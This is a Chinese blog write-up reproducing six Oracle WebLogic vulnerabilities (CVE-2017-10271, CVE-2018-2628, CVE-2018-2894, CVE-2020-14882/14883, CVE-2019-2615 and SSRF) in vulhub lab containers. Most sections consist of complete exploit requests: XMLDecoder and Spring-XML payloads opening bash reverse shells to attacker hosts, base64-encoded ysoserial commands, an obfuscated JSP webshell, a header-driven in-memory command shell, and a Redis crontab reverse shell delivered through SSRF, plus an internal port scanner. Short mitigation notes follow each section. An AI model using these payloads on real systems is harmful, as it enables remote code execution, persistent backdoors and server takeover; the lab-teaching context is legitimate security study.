weblogic

发布于:2022-12-17 ⋅ 阅读:(507) ⋅ 点赞:(0)

vulhub-weblogic漏洞复现

原文链接:silentx.gitee.io

一.Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞

1.概述

漏洞成因:
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。


2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/weblogic/CVE-2017-10271   //进入CVE-2017-10271目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

2.2.访问http://192.168.43.92:7001/

在这里插入图片描述


3.复现

3.1.测试漏洞是否存在

访问http://192.168.43.92:7001/wls-wsat/CoordinatorPortType

在这里插入图片描述

3.2.漏洞利用

3.2.1.nc反弹shell

发包

在这里插入图片描述

改包

/bin/bash -c bash -i >& /dev/tcp/192.168.43.17/6666 0>&1   #通过nc反弹shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.43.92:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.43.17/6666 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功反弹shell

在这里插入图片描述

3.2.2.写入webshell

发包写入jsp马

在这里插入图片描述

<%  String H1ADB = request.getParameter("123456");if (H1ADB != null) { class E4e01648 extends/*ZX2Qs96i26*/ClassLoader { E4e01648(ClassLoader LJegmP) { super(LJegmP); } public Class H1ADB(byte[] b) { return super.defineClass(b, 0, b.length);}}int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010; ccstr = ccstr + (char) aa[i];}Class AZ9O6 = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});byte[] bytes = (byte[]) AZ9O6.getMethod(k, String.class).invoke(AZ9O6.newInstance(), H1ADB);Class aClass = new E4e01648(Thread.currentThread().getContextClassLoader()).H1ADB(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {response.sendError(404);} %>

#jsp小马
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1473

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
    <void method="println"><string>
    <![CDATA[
<%  String H1ADB = request.getParameter("123456");if (H1ADB != null) { class E4e01648 extends/*ZX2Qs96i26*/ClassLoader { E4e01648(ClassLoader LJegmP) { super(LJegmP); } public Class H1ADB(byte[] b) { return super.defineClass(b, 0, b.length);}}int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010; ccstr = ccstr + (char) aa[i];}Class AZ9O6 = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});byte[] bytes = (byte[]) AZ9O6.getMethod(k, String.class).invoke(AZ9O6.newInstance(), H1ADB);Class aClass = new E4e01648(Thread.currentThread().getContextClassLoader()).H1ADB(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {response.sendError(404);} %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

连接webshell

http://192.168.43.92:7001/bea_wls_internal/shell.jsp

在这里插入图片描述


4.防护

1.临时解决:根据实际环境路径,删除WebLogic wls-wsat组件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
重启Weblogic域控制器服务:
DOMAIN_NAME/bin/stopWeblogic.sh #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务
删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

2.官方补丁修复:前往Oracle官网下载10月份所提供的安全补丁


二.Weblogic WLS Core Components 反序列化命令执行漏洞

1.概述

Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。


2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/weblogic/CVE-2018-2628   //进入CVE-2018-2628目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

2.2.访问http://192.168.43.92:7001/console初始化环境

在这里插入图片描述


3.复现

3.1.使用ysoserial工具反弹shell
使用Java反序列化漏洞利用工具启动一个JRMP Server

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
java -cp /
ysoserial.exploit.JRMPListener 5555 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjIzOS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'
bash -i >& /dev/tcp/192.168.43.239/6666 0>&1
base64编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjIzOS82NjY2IDA+JjE=

在这里插入图片描述

使用python脚本向目标发送数据包

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
python2 /shell.py 192.168.43.92 7001  /ysoserial-all.jar 192.168.43.239 5555 JRMPClient

在这里插入图片描述

攻击机开启监听

nc -lvtp 6666

反弹shell成功

在这里插入图片描述

3.2.使用Java反序列化漏洞集成利用工具反弹shell

在这里插入图片描述

在这里插入图片描述

4.防护

临时防护:
1、通过访问策略控制禁止 /_async/跟/wls-wsat/ 路径的URL访问。
2、删除wls9_async_response.war与wls-wsat.war 文件及相关文件夹,并重启 Weblogic 服务。
永久修复:更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本。


三.Weblogic 任意文件上传漏洞

1.概述

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。


2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/weblogic/CVE-2018-2894   //进入CVE-2018-2628目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

2.2.通过http://192.168.43.92:7001/console访问后台
在这里插入图片描述

docker-compose logs | grep password   #查看账户密码

查看账户密码为:
weblogic:1A60xMN8
在这里插入图片描述

使用weblogic登录后台

在这里插入图片描述


3.复现

3.1.base_domain -> 高级 -> 启动web服务测试页 -> 保存

3.2.访问http://192.168.43.92:7001/ws_utc/config.do
修改工作目录为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
在这里插入图片描述

3.3.访问http://192.168.43.92:7001/ws_utc/config.do
安全 -> 添加 -> 上传webshell
上传成功之后,按F12查看时间戳
在这里插入图片描述

使用蚁剑连接
http://192.168.43.92:7001/ws_utc/css/config/keystore/1662087290323_shell.jsp

在这里插入图片描述


4.防护

1.设置Config.do、begin.do页面登录授权后访问;
2.IPS等防御产品可以加入相应的特征;
3.升级到官方最新版本。


四.Weblogic 管理控制台未授权远程命令执行漏洞

1.概述

CVE-2020-14882代码执行漏洞:远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。
CVE-2020-14883权限绕过漏洞:远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console。


2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/weblogic/CVE-2020-14882   //进入CVE-2018-2628目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

2.2.访问http://192.168.43.92:7001/console


3.复现

3.1.验证漏洞是否存在
访问http://192.168.43.92:7001/console/css/%252e%252e%252fconsole.portal,即可未授权访问后台。
这里 …/ 的url编码是%2E%2E%2F,再次编码是%252e%252e%252f

此时需要利用到第二个漏洞CVE-2020-14883。

这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

3.2.通过com.tangosol.coherence.mvel2.sh.ShellSession利用漏洞

http://192.168.43.92:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/5.txt');")

通过docker shell查看创建的文件

docker-compose exec weblogic bash

在这里插入图片描述

因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类,所以这个利用方法只能在Weblogic 12.2.1以上版本利用。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种通杀的方法,对于所有Weblogic版本均有效。

3.3.通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext利用漏洞

在本地启一个http服务

python -m SimpleHTTPServer 8080

在网站根目录创建shell.xml反弹shell

bash -i >& /dev/tcp/192.168.43.239/6666 0>&1
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjIzOS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

nc监听

nc -lvvp 6666

访问url使Weblogic的服务器加载shell.xml(这个利用方法需要Weblogic的服务器能访问到恶意XML)

http://192.168.43.92:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.43.239:8080/shell.xml")

反弹shell成功

3.4.通过手工提交数据包利用漏洞

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: 192.168.43.92:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
cmd:pwd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=-ZIBvFjq2a3bvIYABfsuPCtuLzons0rhryknEJZKpnU7T5tEqGPH!-1339751114
Connection: close

在这里插入图片描述

反弹shell

cmd:bash -i >& /dev/tcp/192.168.43.17/6666 0>&1

在这里插入图片描述


4.防护

1、安装Oracle官方补丁;
2、限制后台 /console/console.portal 的访问。


五.Weblogic 文件读取漏洞

1.概述

2019年4月17日,Oracle官方发布4月份安全补丁, 补丁中包含一个WebLogic任意文件读取漏洞,漏洞编号为CVE-2019-2615。利用该漏洞,攻击者可以在已知用户名密码的情况下读取WebLogic服务器中的任意文件。


2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/weblogic/weak_password   //进入weak_password目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

访问192.168.43.92:7001/console


3.复现

3.1.测试漏洞是否存在

访问192.168.43.92:7001/hello/file.jsp?path=/etc/passwd

3.2.破解密码

所以burp发包访问
http://192.168.43.92:7001/hello/file.jsp?path=security/SerializedSystemIni.dat

将乱码部分右键,copy to file出来,保存为SerializedSystemIni.dat

在这里插入图片描述

访问http://192.168.43.92:7001/hello/file.jsp?path=./config/config.xml
搜索,找到加密后的管理员密码

在/vulhub-master/weblogic/weak_password/decrypt目录下找到weblogic_decrypt.jar,使用工具解密,
这里我没有解出来,不知道是什么原因。
假装是弱口令

user:weblogic    password:Oracle@123

使用哥斯拉生成jsp马,然后通过jar打包

 jar -cvf shell.war shell.jsp

进入后台后部署 -> 安装 -> 上载文件 -> 上传shell.war ->下一步 ->下一步 ->下一步 ->下一步 ->下一步 -> 完成

在这里插入图片描述

使用哥斯拉连接http://192.168.43.92:7001/shell/shell.jsp


4.防护

升级补丁。Oracle官方更新链接地址:https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html。


六.Weblogic SSRF漏洞

1.概述

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。


2.环境搭建

2.1.使用vulhub的docker环境一键部署

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/weblogic/weak_password   //进入weak_password目录
docker-compose up -d   //启动docker环境
docker-compose ps  //查看服务端口

访问http://192.168.43.92:7001/uddiexplorer

在这里插入图片描述


3.复现

3.1.探测内网端口状态

burp发包

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearGET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:port HTTP/1.1

7001端口开放

9999端口关闭

3.2.利用Redis反弹shell

通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),在docker中使用docker inspect [id]查看redis的ip是172.21.0.2。

如果知道c段,也可以通过python脚本扫c段

import thread
import time
import re
import requests
def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://192.168.43.92:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)  
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass

if __name__ == '__main__':
    ip = "172.21.0"  
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"

在这里插入图片描述

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.43.17/5555 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

将redis命令进行url编码

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.17%2F5555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

发包

在这里插入图片描述

反弹shell成功


4.防护

1.过滤返回信息,验证远程服务器对请求的响应。
2.统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
3.限制请求的端口为http常用的端口,比如80,443,8080,8090
4.黑名单内网ip,避免应用被用来获取内网数据,攻击内网
5.禁用不需要的协议,仅仅允许http和https请求,可以防止类似于file:///,gopher://,ftp:// 等引起的问题


网站公告

今日签到

点亮在社区的每一天
去签到

热门文章